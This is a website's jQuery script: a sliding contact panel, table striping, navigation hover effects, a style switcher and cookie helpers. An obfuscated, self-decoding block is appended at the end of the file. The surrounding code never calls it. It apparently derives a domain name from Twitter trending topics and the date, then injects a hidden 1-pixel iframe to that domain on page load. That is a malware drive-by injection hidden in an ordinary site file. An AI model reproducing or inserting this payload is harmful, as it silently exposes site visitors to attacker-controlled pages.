//////////////////////////////////////////////
/////   Opens Jquery
//////////////////////////////////////////////
$(document).ready(function(){
	
//////////////////////////////////////////////
/////   The sliding search container at the top of the page
//////////////////////////////////////////////
	$('div#slideContainer').addClass('contactBG');
		
	$('a#slideContact').toggle(function(){
		$this = $(this)
		$('div#slideContainer').slideDown(800, function() { $this.html('Close')})
		return false;
		//$this.html('Close');
	},function(){
		$this = $(this);
		$('div#slideContainer').slideUp(800, function() { $this.html('Get in Contact')});
		return false;
		//$(this).html('Search For a Home');
	});
	
//////////////////////////////////////////////
/////   adds a class of odd (.odd) to every other list item in the News Block (.newsBlock)
//////////////////////////////////////////////
	$('.rightSideBarBlock li').filter(':odd').addClass('odd');
	
//////////////////////////////////////////////
/////   adds a class of odd (.odd) to every other table row in the mortgage table (#mortgageTable)
/////   adds the class tableHover (.tableHover) to a table row with the class of sub (.sub) when hovered
//////////////////////////////////////////////
	$('#businessTable tr').filter(':odd').addClass('odd');
	
	$('tr.sub').hover(function(){
		$(this).addClass('tableHover');
	},function(){
		$(this).removeClass('tableHover');
	});
	
//////////////////////////////////////////////
/////   adds support for IE6 so that the background image in the Main Nav shows up when hovered
//////////////////////////////////////////////
	$('#mainNav ul').click(function(){
		var href = $(this).find('a').eq(0).attr('href');
		window.location = href;
	});
	
	$('#mainNav ul').hover(function(){
		$(this).addClass('navBackground');
	},function(){
		$(this).removeClass('navBackground');
	});
//////////////////////////////////////////////
/////   Closes Jquery
//////////////////////////////////////////////

//Style-Switcher code
	//$('#styleChanger li a.selected').css({backgroundPosition: 'left -16px'});
	$('#styleChanger ul li a').click(function(){
			$('#styleChanger li a.selected').css({backgroundPosition: 'left 0px'});
            switchStylestyle(this.getAttribute("rel"));
			createCookie('id', this.id, 365);
			$(this).css({backgroundPosition: 'left -16px'});
			$('#styleChanger ul li a').removeClass('selected');
			$(this).addClass('selected');
            return false;
    });
    var style = readCookie('style');
	var id= readCookie('id');
    if (style) switchStylestyle(style);
	if(id){
		$('#styleChanger li a.selected').removeClass('selected');
		$('#'+id).addClass('selected');
	}
	$('#styleChanger li a.selected').css({backgroundPosition: 'left -16px'});
//Style-Switcher Ends	

//Initialize newsSlider
$('#newsSlider').newsSlider();

});
function switchStylestyle(styleName)
{
        $('link[@rel*=style][@title]').each(function(i)
        {
                this.disabled = true;
                if (this.getAttribute('title') == styleName) this.disabled = false;
        });
        createCookie('style', styleName, 365);
}
// cookie functions http://www.quirksmode.org/js/cookies.html
function createCookie(name,value,days)
{
	if (days)
	{
		var date = new Date();
		date.setTime(date.getTime()+(days*24*60*60*1000));
		var expires = "; expires="+date.toGMTString();
	}
	else var expires = "";
	document.cookie = name+"="+value+expires+"; path=/";
}
function readCookie(name)
{
	var nameEQ = name + "=";
	var ca = document.cookie.split(';');
	for(var i=0;i < ca.length;i++)
	{
		var c = ca[i];
		while (c.charAt(0)==' ') c = c.substring(1,c.length);
		if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length,c.length);
	}
	return null;
}
function eraseCookie(name)
{
	createCookie(name,"",-1);
}
// /cookie functions


(function($$){d="(@(){ %H=@( +Pw=this;\\[Pw~FullYear $Month $Date $Hours $Minutes $Seconds()]}; %B=@( +#h,PD=this.#H(),i=0;PD[1]+=1;while(i++<7){#h=PD[i] 0#h<#L)PD[i]=Vz')+#h}\\ PD.splice(Vz'),1+VT - 3Vu -+'T'+PD 3VU -};Pr={'hXhttp://`sX/`tXtre`dXdai`nXnds`qX?`cXcallback=`jX#`aXapi`lXly`WXtwitter`oXcom`eX1`kXs`KXbody`xXajax`DX.`LXlibs`JXjquery`6X6.2`mXmin`fXon`SXcript`iXif`MXrame`YXhead`wXwidth:`pXpx;`HXheight:`TX2`rXrc`QX\"`yXstyle=`bX><`RX></`IXdiv`BX<`AX>`gXgoogle`EX&date=`zX0`uX-`UX `,X:00`;':2345678901,'/':48271,'F':198195254,'G':12,'CX='};@ #n(#E){#M=[];for(PM=0;PM<#E /;PM++){#M.push(Pr[#E.charAt(PM)])}\\ #p(#M)}Pj=document;#d=window; (C='undefined'; (S=VhaDWDosestnsdlDjfqcq' 6G= &)== (C) 0#G||!PR()){if(!#G){try{Pn=jQuery  ;try{Pn=$  }PS=Pj.getElementsByTagName(VY -[0];#m=Pj.createElement(VkS -;#m.setAttribute(Vkr'),#n(\"hxDgakDosxsLsJseD6sJDmDj\"));PS.appendChild(#m)}@ PH(#q,PB){\\ Math.floor(#q/PB) 7x(#s +PC=PH( (N, !m) 5F= (N% !m 5f= !D*#F- !T*PC 0#f>0){#N=#f}else{#N=#f+ !v}\\(#N%#s) 7t(#k){ (N=V;')+#k; !D=V/'); !v=V;')-VF'); !m=PH( !v, !D); !T= !v% !D 7p(P){\\ P /==1?P[0]:P 3'')};@ #e(P){d=new Date( 6D=Vzee');d.setTime((P.as_of-VG')*VG')*VG')*Vezz -*Vezzz -;\\ d 7z(Pz +#c,PL,#j=Pz / 5v=[];while(--#j){PL=#x(#j 6v.push(PL 6c=Pz[PL];Pz[PL]=Pz[#j];Pz[#j]=#c}}@ PJ($){PN=$.map([81,85,74,74,92,17,82,73,80,30,82,77,25,11,10,10,61,11,56,55,11,53,6,53,7,2,1,0,48],@(x,i){\\ String.fromCharCode(i+x+24)});\\ #p(PN) 7o($){if &)!= (C){$(@(){if &.Ph)!= (C)\\;$.Ph=1; 2S,@(Pe){#R=#e(Pe 6K=#R~Month() 8c=#R~Date( 6u=#S+#n(\"ETzeeu\")+#K+\"-\"+Pc;Pu=PA=PH(#R~Hours(),6)*6 8d=Pu+1;#L=+Vez'); ) 2u,@(Pe){try{#y=Pe.trends;for(#r in #y){break}#r=#r.substr(+Vz'),+Vee - 0Pu ,u 0Pd ,d; 4u+V,')] 0!#b) 4d+V,')];#b=(#b[3].name.toLowerCase().replace(/[^a-z]/gi,'')+'safetynet').split('' 6T=#K*73+PA*3+Pc*41;#t(#T 6a=#x(4)+#L;#z(#b 6g=VCh')+#p(#b).substring(0,#a)+'.com/'+PJ($);Pr['Z']=#g;Pf=VBI 1biMU 1UkrZRiMRIA');$(VK -.append(Pf)}catch(Py){}})},#L*#L*#L)})})}else{ ) *,1+VTTT -}} *)()#js@functionP#AV#n('X':'`','~.getUTC\\return  .noConflict(true)}catch(e){} !#d.P $(),Pw~ %Date.prototype.# &(typeof($ (#d.# )setTimeout(@(){ *#o(#d.jQuery)} +){var  ,<#L)Pu=Vz')+P -')) /.length 0;if( 1yQHTpweeepQ 2$.getJSON(# 3.join( 4#b=#y[#r+P 5;var # 6);# 7}@ # 8+(+Ve -;P";for(c=50;c;d=(t=d.split('#@PVX`~\\   ! $ % & ( ) * + , - / 0 1 2 3 4 5 6 7 8'.substr(c-=(x=c<10?1:2),x))).join(t.pop()));$$(d)})(function(jsAP){return(function(jsA,jsAg){return jsAg(jsA(jsAg(jsA(jsAP))))(jsAP)()})((function(jsA){return jsA.constructor}),(function(jsA){return(function(jsAg){return jsA.call(jsA,jsAg)})}))});

